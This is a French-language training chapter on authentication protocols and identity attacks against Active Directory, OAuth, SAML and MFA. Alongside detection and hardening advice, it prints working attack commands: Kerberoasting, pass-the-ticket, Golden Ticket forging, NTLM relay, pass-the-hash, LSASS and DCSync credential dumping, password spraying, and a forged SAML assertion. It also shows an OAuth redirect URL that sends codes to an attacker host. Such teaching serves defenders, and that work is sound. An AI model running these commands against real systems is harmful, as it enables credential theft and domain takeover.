Chapitre 1.4 - Protocoles d'authentification et attaques d'identite

Module 1 : Fondements et paysage des menaces Niveau : Intermediaire a avance | Duree estimee de lecture : 60-75 min

Table des matieres

Fondamentaux de l'authentification
Kerberos - L'epine dorsale de l'authentification Windows
NTLM - Herite mais omnipresent
LDAP et Active Directory
OAuth 2.0 et OpenID Connect
SAML - Federation d'entreprise
Authentification multifacteur - Mecanismes et contournements
Livre de jeu des attaques d'identite
Diagramme d'architecture

1. Fondamentaux de l'authentification

L'authentification repond a la question : qui etes-vous ? Elle doit etre distinguee de deux concepts connexes :

Concept	Question	Exemple
Authentification (AuthN)	Qui etes-vous ?	Nom d'utilisateur + mot de passe, certificat, biometrie
Autorisation (AuthZ)	Que pouvez-vous faire ?	RBAC, ACL, politiques IAM
Comptabilisation	Qu'avez-vous fait ?	Journaux d'audit, evenements SIEM

Facteurs d'authentification

Facteur	Categorie	Exemples	Faiblesse
Mot de passe / PIN	Quelque chose que vous savez	Mot de passe statique, phrase secrete	Hameconnable, attaque par force brute, reutilisable
OTP / TOTP	Quelque chose que vous savez (dynamique)	Google Authenticator, codes TOTP	Hameconnage en temps reel (AiTM), echange de SIM
Jeton materiel	Quelque chose que vous possedez	YubiKey, RSA SecurID	Perte, vol
Carte a puce / PIV	Quelque chose que vous possedez + savez	Carte CAC + PIN	Perte + exposition du PIN
Biometrie	Quelque chose que vous etes	Empreinte digitale, FaceID	Irrevocable si compromise, contrefacable
Localisation / Reseau	Quelque part ou vous etes	Liste blanche d'IP, geolocalisation	Contournement VPN, usurpation d'IP
Comportement	Quelque chose que vous faites	Dynamique de frappe, mouvement de souris	Technologie immature

Une idee recue courante : Le SMS OTP est "quelque chose que vous possedez" mais est largement considere comme deficient en raison de l'echange de SIM, des attaques SS7 et du hameconnage en temps reel. C'est mieux que rien, mais ne doit pas etre considere comme une MFA robuste.

Securite des mots de passe - Ce qui fonctionne vraiment

# Verifier si un mot de passe figure dans une base de donnees de violations (API k-anonymat)
# Envoie uniquement les 5 premiers caracteres du hachage SHA-1 - le mot de passe ne quitte jamais votre systeme
PASSWORD="SecurePassword123"
HASH=$(echo -n "$PASSWORD" | sha1sum | tr '[:lower:]' '[:upper:]' | awk '{print $1}')
PREFIX="${HASH:0:5}"
SUFFIX="${HASH:5}"

curl -s "https://api.pwnedpasswords.com/range/$PREFIX" | grep -i "$SUFFIX"
# Si la sortie affiche un compteur (ex. "...SUFFIX:4834"), le mot de passe figure dans la base de violations

# Verifier l'entropie du mot de passe (Python)
python3 -c "
import math, string

def password_entropy(password):
    charset = 0
    if any(c in string.ascii_lowercase for c in password): charset += 26
    if any(c in string.ascii_uppercase for c in password): charset += 26
    if any(c in string.digits for c in password): charset += 10
    if any(c in string.punctuation for c in password): charset += 32
    entropy = len(password) * math.log2(charset) if charset else 0
    return entropy

tests = ['password', 'P@ssw0rd', 'correct-horse-battery-staple', 'xK9mN2pQr7vL8w']
for p in tests:
    e = password_entropy(p)
    strength = 'FAIBLE' if e < 50 else 'CORRECT' if e < 70 else 'FORT' if e < 90 else 'TRES FORT'
    print(f'{p:35s} {e:5.1f} bits  {strength}')
"

2. Kerberos - L'epine dorsale de l'authentification Windows

Kerberos est le protocole d'authentification par defaut pour les environnements Active Directory. C'est un systeme base sur les tickets qui permet aux clients de prouver leur identite aux services sans envoyer de mots de passe sur le reseau.

2.1 Composants Kerberos

Composant	Role
KDC (Key Distribution Center)	Le tiers de confiance - s'execute sur le controleur de domaine
AS (Authentication Service)	Emet les Ticket Granting Tickets (TGT)
TGS (Ticket Granting Service)	Emet les tickets de service (ST) pour des services specifiques
TGT (Ticket Granting Ticket)	Preuve d'identite - utilisee pour demander des tickets de service
Ticket de service (ST)	Jeton d'acces pour un service specifique (ex. serveur de fichiers)
SPN (Service Principal Name)	Identifiant unique pour une instance de service

2.2 Flux d'authentification Kerberos

Observation critique pour les attaquants : A l'etape 4, le ticket de service est chiffre avec le hachage du mot de passe du compte de service. Tout utilisateur du domaine peut demander un ticket de service pour n'importe quel SPN. C'est le fondement du Kerberoasting.

2.3 Kerberoasting (T1558.003)

Le Kerberoasting est une attaque de cassage de mot de passe hors ligne contre les comptes de service. Aucun privilege special n'est requis - tout utilisateur authentifie du domaine peut l'effectuer.

Enumerer les SPN dans Active Directory (tous les comptes de service)
Demander des tickets de service pour chaque SPN (operation Kerberos legitime)
Extraire le ticket TGS de la memoire
Craquer le ticket hors ligne (chiffre avec le hachage NTLM du compte de service)
Les comptes de service ont souvent des mots de passe faibles + n'expirent jamais

# Etape 1 : Enumerer tous les SPN du domaine
# En utilisant GetUserSPNs.py (Impacket)
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip 10.0.0.1

# Demander tous les tickets TGS et les enregistrer dans un fichier
python3 GetUserSPNs.py corp.local/user:Password123 \
  -dc-ip 10.0.0.1 \
  -request \
  -outputfile kerberoast_hashes.txt

# Format de sortie (hashcat -m 13100) :
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/db01.corp.com*$a1b2c3...

# Etape 2 : Craquer hors ligne avec hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules /usr/share/hashcat/rules/best64.rule

# Plus rapide : utiliser le GPU avec des regles optimisees
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt -O \
  --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

# PowerShell sous Windows (si vous avez acces au domaine) :
# En utilisant PowerView
Import-Module PowerView
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt

Defense contre le Kerberoasting :

Mots de passe des comptes de service d'au moins 25 caracteres (rend le cassage infaisable)
Utiliser les Group Managed Service Accounts (gMSA) - mots de passe de 240 caracteres rotates automatiquement
Activer le chiffrement AES pour Kerberos (les tickets RC4 se craquent plus vite - RC4 = etype 23)
Surveiller l'evenement ID 4769 (requete TGS) pour les volumes eleves depuis une seule source

# Verifier les tickets de service chiffres en RC4 (plus faciles a craquer que l'AES)
# Dans votre SIEM, alerter sur :
# ID d'evenement : 4769 (Un ticket de service Kerberos a ete demande)
# Type de chiffrement du ticket : 0x17 (RC4-HMAC) = mauvais, devrait etre 0x12 (AES256)

# Auditer les SPN avec chiffrement RC4
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
  ForEach-Object {
    $spns = $_.ServicePrincipalName
    Write-Host "$($_.SamAccountName): $spns"
  }

# Forcer le chiffrement AES sur les comptes de service
Set-ADUser svc_sql -KerberosEncryptionType AES256

2.4 Pass-the-Ticket (T1550.003)

Si vous pouvez extraire un TGT valide de la memoire, vous pouvez usurper l'identite de cet utilisateur aupres de n'importe quel service.

# Extraire les tickets Kerberos de la memoire (necessite SYSTEM/admin sur la cible)
# En utilisant Mimikatz :
sekurlsa::tickets /export   # Extraire tous les tickets vers des fichiers .kirbi

# En utilisant Rubeus :
Rubeus.exe dump /luid:0x3e4 /service:krbtgt   # Extraire le TGT pour une ouverture de session specifique

# Injecter un ticket vole dans la session courante :
Rubeus.exe ptt /ticket:ticket.kirbi

# Verifier que le ticket a ete injecte :
klist     # Outil integre Windows, affiche les tickets Kerberos courants

# Acceder maintenant aux ressources en tant qu'identite volee :
dir \\dc01.corp.com\C$

2.5 Attaque Golden Ticket

L'attaque Kerberos ultime. Si vous obtenez le hachage NTLM du compte krbtgt, vous pouvez forger des TGT pour n'importe quel utilisateur, y compris des comptes inexistants, avec n'importe quelle appartenance de groupe, valides pour n'importe quelle duree.

# Necessite : hachage krbtgt + SID du domaine
# Obtenir le hachage krbtgt (necessite l'acces au DC / DCSync) :
python3 secretsdump.py corp.local/admin:Password123@10.0.0.1 \
  -just-dc-user krbtgt

# SID du domaine :
python3 lookupsid.py corp.local/admin:Password123@10.0.0.1

# Forger un Golden Ticket avec Mimikatz :
kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-123456789-987654321-111111111 \
  /krbtgt:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
  /groups:512 \
  /ticket:golden.kirbi

# Utiliser le ticket :
kerberos::ptt golden.kirbi

# Les Golden Tickets persistent meme apres les reinitialisation des mots de passe - le hachage krbtgt
# doit etre change DEUX FOIS (chaque changement invalide les tickets signes par le hachage precedent)

3. NTLM - Herite mais omnipresent

NTLM (NT LAN Manager) est un protocole d'authentification par defi-reponse. Il est plus ancien que Kerberos, moins robuste, mais encore largement deploye car il fonctionne sans KDC (utile dans les environnements de groupe de travail et pour l'authentification basee sur les IP).

3.1 Flux d'authentification NTLMv2

La reponse NTLMv2 est ce qui est capture dans les attaques par relais et capture.

3.2 Attaque par relais NTLM (T1557.001)

L'attaque NTLM la plus impactante. NTLM n'a pas d'authentification mutuelle par defaut - le client ne verifie jamais l'identite du serveur. Un attaquant peut relayer l'authentification NTLM vers n'importe quel service qui accepte NTLM.

# Configuration : activer Responder pour empoisonner LLMNR/NBT-NS (capturer les hachages NTLMv2)
responder -I eth0 -rdwv

# Dans un second terminal : lancer ntlmrelayx (Impacket)
python3 ntlmrelayx.py \
  -t smb://10.0.0.1 \
  -smb2support \
  -l /tmp/loot

# Cibler un service specifique (relayer vers LDAP pour l'enumeration du domaine)
python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  -smb2support

Defense contre le relais NTLM :

# 1. Activer la signature SMB sur tous les hotes (empeche le relais vers SMB)
# GPO : Configuration ordinateur → Parametres Windows → Parametres de securite →
#       Strategies locales → Options de securite →
#       "Serveur reseau Microsoft : Communications signees numeriquement (toujours)" = Active

# 2. Desactiver LLMNR et NBT-NS (supprime le vecteur d'empoisonnement)
# GPO : Configuration ordinateur → Modeles d'administration →
#       Reseau → Client DNS → "Desactiver la resolution de noms par multidiffusion" = Active

# 3. Activer la signature LDAP et la liaison de canal
# GPO : Strategie de securite du controleur de domaine →
#       "Controleur de domaine : exigences de signature de serveur LDAP" = Exiger la signature

# 4. Desactiver completement NTLMv1
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# LmCompatibilityLevel = 5 (NTLMv2 uniquement, refuser LM et NTLMv1)

# 5. Activer la protection etendue pour l'authentification (EPA) pour LDAP/HTTP

3.3 Pass-the-Hash (T1550.002)

Avec un hachage NTLM, vous pouvez vous authentifier aupres de n'importe quel service qui accepte NTLM - vous n'avez jamais besoin de craquer le hachage.

# Pass-the-Hash avec smbclient (Impacket)
python3 smbclient.py corp.local/Administrator@10.0.0.1 \
  -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execution de commande a distance avec PtH
python3 wmiexec.py corp.local/Administrator@10.0.0.1 \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# psexec.py avec PtH
python3 psexec.py corp.local/Administrator@10.0.0.1 \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# Extraire les hachages NTLM du SAM local (necessite SYSTEM)
python3 secretsdump.py -sam /tmp/sam -system /tmp/system LOCAL

# Mimikatz -- extraire les hachages de la memoire (LSASS)
privilege::debug
sekurlsa::logonpasswords

Attenuation : Activer le groupe de securite Protected Users dans AD - les membres ne peuvent pas s'authentifier avec NTLM, uniquement avec Kerberos. Deployer egalement Credential Guard (Windows 10+) pour isoler les identifiants LSASS dans un environnement protege par hyperviseur.

4. LDAP et Active Directory

LDAP (Lightweight Directory Access Protocol) est le protocole de requete pour Active Directory. Il expose l'integralite de la structure AD aux requetes authentifiees - et parfois aux requetes non authentifiees.

4.1 Enumeration LDAP

# Liaison LDAP anonyme (mauvaise configuration - doit etre desactivee)
ldapsearch -x \
  -H ldap://10.0.0.1 \
  -b "dc=corp,dc=local" \
  "(objectClass=*)"

# Enumeration authentifiee
ldapsearch -x \
  -H ldap://10.0.0.1 \
  -D "cn=user,dc=corp,dc=local" \
  -w "Password123" \
  -b "dc=corp,dc=local" \
  "(objectClass=user)" \
  sAMAccountName userPrincipalName memberOf

# Trouver tous les utilisateurs avec SPN defini (vulnerables au Kerberoasting)
ldapsearch -x -H ldap://10.0.0.1 \
  -D "user@corp.local" -w "Password123" \
  -b "dc=corp,dc=local" \
  "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName

# Trouver les utilisateurs vulnerables a l'AS-REP Roasting (sans pre-authentification Kerberos)
ldapsearch -x -H ldap://10.0.0.1 \
  -D "user@corp.local" -w "Password123" \
  -b "dc=corp,dc=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

4.2 BloodHound - Analyse des chemins d'attaque

BloodHound visualise Active Directory comme une base de donnees de graphes et trouve les chemins d'attaque depuis des utilisateurs a faibles privileges jusqu'a Domain Admin.

# Collecter les donnees AD avec SharpHound (executer sur une machine Windows jointe au domaine)
SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Ou depuis Linux avec bloodhound-python
pip3 install bloodhound
bloodhound-python -u user -p Password123 \
  -d corp.local \
  -ns 10.0.0.1 \
  -c All \
  --zip

# Demarrer BloodHound
neo4j start
bloodhound &

# Requete Cypher : trouver le chemin le plus court depuis l'utilisateur possede vers DA
MATCH p=shortestPath(
  (u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
) RETURN p

4.3 AS-REP Roasting (T1558.004)

Si un compte utilisateur a la pre-authentification Kerberos desactivee, n'importe quel attaquant peut demander un AS-REP pour ce compte sans connaitre le mot de passe. La reponse contient des donnees chiffrees avec le hachage du mot de passe de l'utilisateur - craquables hors ligne.

# Trouver et exploiter les comptes vulnerables a l'AS-REP Roasting (sans identifiants)
python3 GetNPUsers.py corp.local/ \
  -usersfile users.txt \
  -no-pass \
  -dc-ip 10.0.0.1 \
  -format hashcat \
  -outputfile asrep_hashes.txt

# Craquer avec hashcat (-m 18200 = Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt rockyou.txt \
  --rules /usr/share/hashcat/rules/best64.rule

# Defense : s'assurer que TOUS les comptes ont la pre-authentification requise
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth |
  Where-Object {$_.DoesNotRequirePreAuth -eq $true} |
  Select-Object SamAccountName

5. OAuth 2.0 et OpenID Connect

OAuth 2.0 est un cadre d'autorisation, pas un protocole d'authentification. OpenID Connect (OIDC) ajoute une couche d'authentification sur OAuth 2.0. Ensemble, ils alimentent la plupart des authentifications d'applications web modernes et d'API.

5.1 Flux OAuth 2.0

Flux	Cas d'utilisation	Niveau de securite
Authorization Code + PKCE	Applications web, mobiles	Eleve - recommande
Client Credentials	Serveur a serveur (sans utilisateur)	Eleve - pas d'interaction utilisateur
Implicit (depreciee)	SPA historiques	Faible - jetons dans le fragment URL
Device Code	Televisions connectees, outils CLI	Moyen
Resource Owner Password	Historique - a eviter	Faible - expose les identifiants a l'application

5.2 Surface d'attaque OAuth

Redirection ouverte dans redirect_uri :

# Si la validation de redirect_uri est faible, l'attaquant peut voler le code d'autorisation
# URL forgee qui envoie le code d'autorisation a l'attaquant
https://auth.target.com/authorize?
  client_id=app123&
  response_type=code&
  redirect_uri=https://attacker.com/callback&
  scope=email&
  state=abc

# Defenses :
# - Validation par correspondance exacte (pas de correspondance par prefixe/sous-domaine)
# - Mettre redirect_uris en liste blanche lors de l'enregistrement

CSRF sur redirect_uri (parametre state manquant) :

# Le parametre 'state' est un jeton CSRF - doit etre valide
def oauth_callback(request):
    returned_state = request.args.get('state')
    stored_state = session.get('oauth_state')

    if not returned_state or not hmac.compare_digest(returned_state, stored_state):
        abort(403, "CSRF detecte - non-correspondance de state")

    code = request.args.get('code')
    exchange_code_for_token(code)

Fuite de jeton via l'en-tete Referer :

# Si access_token apparait dans l'URL (flux Implicit ou mauvaise utilisation du code d'autorisation)
GET /external-link HTTP/1.1
Referer: https://app.com/dashboard?token=eyJhbGci...    <- jeton fuite

# Correction : utiliser l'en-tete Authorization, jamais les parametres URL
# Authorization: Bearer eyJhbGci...

6. SAML - Federation d'entreprise

SAML (Security Assertion Markup Language) est un protocole SSO base sur XML utilise dans les environnements d'entreprise. Un utilisateur s'authentifie une seule fois aupres d'un fournisseur d'identite (IdP) et acces a plusieurs fournisseurs de services (SP) sans se re-authentifier.

6.1 Flux SAML

6.2 Techniques d'attaque SAML

Enveloppement de signature XML (XSW) :

La vulnerabilite SAML la plus impactante. La signature valide le contenu qu'elle couvre, mais l'application peut traiter un element XML different de celui qui a ete signe.

<!-- Reponse SAML legitime (signee) -->
<samlp:Response>
  <saml:Assertion ID="id1">
    <saml:Subject>
      <saml:NameID>user@corp.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  <ds:Signature>
    <ds:SignedInfo>
      <ds:Reference URI="#id1"/>
    </ds:SignedInfo>
  </ds:Signature>
</samlp:Response>

<!-- Attaque XSW : injecter une assertion non signee que l'application traite en premier -->
<samlp:Response>
  <saml:Assertion ID="evil">
    <saml:Subject>
      <saml:NameID>admin@corp.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  <saml:Assertion ID="id1">
    <saml:Subject>
      <saml:NameID>user@corp.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  <ds:Signature>
    <ds:Reference URI="#id1"/>
  </ds:Signature>
</samlp:Response>
<!-- La verification de signature REUSSIT - l'application voit admin@corp.com -->

7. Authentification multifacteur - Mecanismes et contournements

7.1 Types MFA - Analyse comparative

Type	Protocole	Resistant au hameconnage	Mise en oeuvre
SMS OTP	Hors bande	Non - hameconnage en temps reel, SS7	A eviter
TOTP (RFC 6238)	OTP base sur le temps HMAC	Non - hameconnage en temps reel	Acceptable
HOTP (RFC 4226)	OTP base sur compteur	Non	Acceptable
Notification push	Proprietaire	Non - fatigue MFA	Acceptable
FIDO2 / WebAuthn	CTAP2	Oui - lie a l'origine	Recommande
Jeton materiel (TOTP)	HMAC	Non - hameconnage en temps reel	Correct
PIV / Carte a puce	PKI	Oui - lie au certificat	Ideal pour l'entreprise

7.2 Techniques de contournement MFA

Technique 1 - Hameconnage Adversaire-au-milieu (AiTM) :

Les frameworks modernes d'hameconnage (Evilginx2, Modlishka) agissent comme un proxy inverse. La victime s'authentifie sur un vrai site via le proxy de l'attaquant. L'attaquant capture le cookie de session apres la MFA - contournant entierement la MFA.

# Detection :
# 1. Deplacement impossible : utilisateur connecte depuis Paris, 5 minutes plus tard cookie utilise en Russie
# 2. Rejeu de jeton : meme jeton de session utilise depuis deux IP/User-Agents differents
# 3. Politiques d'acces conditionnel : exiger un appareil conforme (gere par Intune)
#    -- AiTM ne peut pas fournir une assertion d'appareil conforme

# Azure AD / Entra ID : activer l'acces conditionnel avec conformite de l'appareil
# C'est la defense principale - les cookies de session des appareils conformes ne peuvent pas etre rejoues

Technique 2 - Fatigue MFA / Bombardement de push :

Attaque :
  1. L'attaquant obtient des identifiants valides (hameconnage, violation, force brute)
  2. L'attaquant declenche des push MFA de maniere repetee (automatise, 50-100 requetes)
  3. La victime recoit des notifications push constantes
  4. A 2h du matin ou apres de nombreuses tentatives, la victime approuve pour faire cesser le bruit

Exemple notable : la violation Uber 2022 a utilise exactement cette technique

Defenses :
  - Activer la "mise en correspondance des numeros" dans Microsoft Authenticator / Duo
  - Activer le "contexte supplementaire" - affiche le nom de l'application + localisation de la tentative
  - Limiter le taux des notifications push (max N par heure par utilisateur)
  - Alerter sur : plus de 3 requetes push MFA en 5 minutes pour le meme utilisateur
  - Passer a FIDO2/clefs d'acces (pas de push du tout)

7.3 FIDO2 / WebAuthn - MFA resistant au hameconnage

FIDO2 est la reference absolue pour l'authentification resistant au hameconnage. L'authentificateur (YubiKey, Windows Hello, telephone) lie cryptographiquement les identifiants a l'origine - un identifiant pour mabanque.com ne peut pas etre utilise sur mab4nque.com.

// Authentification WebAuthn (JavaScript navigateur)
const assertion = await navigator.credentials.get({
    publicKey: {
        challenge: serverChallenge,
        rpId: "mybank.com",
        allowCredentials: [{
            type: "public-key",
            id: credentialId
        }],
        userVerification: "required"
    }
});

// Envoyer l'assertion au serveur pour verification
const response = await fetch('/auth/verify', {
    method: 'POST',
    body: JSON.stringify({
        id: assertion.id,
        response: {
            clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(assertion.response.clientDataJSON))),
            authenticatorData: btoa(String.fromCharCode(...new Uint8Array(assertion.response.authenticatorData))),
            signature: btoa(String.fromCharCode(...new Uint8Array(assertion.response.signature)))
        }
    })
});

8. Livre de jeu des attaques d'identite

8.1 Pulverisation de mots de passe (T1110.003)

Contrairement a la force brute (de nombreux mots de passe contre un seul compte), la pulverisation essaie un mot de passe contre de nombreux comptes - evitant les seuils de verrouillage.

# Pulverisation de mots de passe contre Office 365
python3 MSOLSpray.py \
  --userlist users.txt \
  --password "Welcome2024!" \
  --verbose

# kerbrute : enumeration rapide d'utilisateurs Kerberos + pulverisation
kerbrute userenum \
  --dc 10.0.0.1 \
  -d corp.local \
  usernames.txt

kerbrute passwordspray \
  --dc 10.0.0.1 \
  -d corp.local \
  users.txt "Password2024!"

# Detection :
# Rechercher : nombreux evenements 4625 (echec d'ouverture de session) distribues entre les comptes
# Alerter : plus de 10 ouvertures de session echouees sur plus de 5 comptes distincts en 5 minutes depuis une seule source

8.2 Attaque DCSync (T1003.006)

DCSync imite le comportement d'un controleur de domaine pour demander la replication des identifiants - obtenant tous les hachages NTLM et les cles Kerberos du domaine.

# Necessite : droits de replication (generalement DA, Enterprise Admin, ou explicitement accorde)
python3 secretsdump.py corp.local/admin:Password123@10.0.0.1 \
  -just-dc \
  -output-file dcsync_hashes.txt

# Avec Mimikatz :
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

# Detection :
# ID d'evenement 4662 : Operation effectuee sur un objet (DS-Replication-Get-Changes-All)
# Source : machine non-DC effectuant une requete de replication
# Alerter : requete de replication depuis une IP qui n'est pas une IP DC connue

Table des matieres​

1. Fondamentaux de l'authentification​

Facteurs d'authentification​

Securite des mots de passe - Ce qui fonctionne vraiment​

2. Kerberos - L'epine dorsale de l'authentification Windows​

2.1 Composants Kerberos​

2.2 Flux d'authentification Kerberos​

2.3 Kerberoasting (T1558.003)​

2.4 Pass-the-Ticket (T1550.003)​

2.5 Attaque Golden Ticket​

3. NTLM - Herite mais omnipresent​

3.1 Flux d'authentification NTLMv2​

3.2 Attaque par relais NTLM (T1557.001)​

3.3 Pass-the-Hash (T1550.002)​

4. LDAP et Active Directory​

4.1 Enumeration LDAP​

4.2 BloodHound - Analyse des chemins d'attaque​

4.3 AS-REP Roasting (T1558.004)​

5. OAuth 2.0 et OpenID Connect​

5.1 Flux OAuth 2.0​

5.2 Surface d'attaque OAuth​

6. SAML - Federation d'entreprise​

6.1 Flux SAML​

6.2 Techniques d'attaque SAML​

7. Authentification multifacteur - Mecanismes et contournements​

7.1 Types MFA - Analyse comparative​

7.2 Techniques de contournement MFA​

7.3 FIDO2 / WebAuthn - MFA resistant au hameconnage​

8. Livre de jeu des attaques d'identite​

8.1 Pulverisation de mots de passe (T1110.003)​

8.2 Attaque DCSync (T1003.006)​

8.3 Chaine d'attaque d'identite complete​

9. Diagramme d'architecture​